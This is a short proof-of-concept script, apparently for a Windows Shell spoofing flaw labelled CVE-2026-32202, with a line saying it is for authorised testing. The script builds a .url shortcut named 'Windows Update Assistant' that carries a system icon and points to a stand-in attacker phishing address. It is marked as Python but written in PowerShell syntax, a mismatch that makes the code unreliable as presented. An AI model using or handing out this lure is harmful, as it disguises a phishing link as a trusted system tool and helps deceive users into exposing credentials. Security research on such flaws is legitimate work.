The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-32202 Windows Shell Spoofing
# This script demonstrates a conceptual spoofing attack vector.
# It creates a malicious .url file that mimics a legitimate system tool.
$maliciousUrl = "http://attacker-controlled-server.com/phish"
$fakeFileName = "Windows Update Assistant.url"
$iconLocation = "%SystemRoot%\System32\shell32.dll,0"
# Create the content of the URL file
$urlContent = @"
[InternetShortcut]
URL=$maliciousUrl
IconFile=$iconLocation
IconIndex=0
"@
# Write to disk
Out-File -FilePath $fakeFileName -InputObject $urlContent -Encoding ASCII
Write-Host "Created spoofing file: $fakeFileName"
Write-Host "This demonstrates how protection mechanisms might fail to warn the user."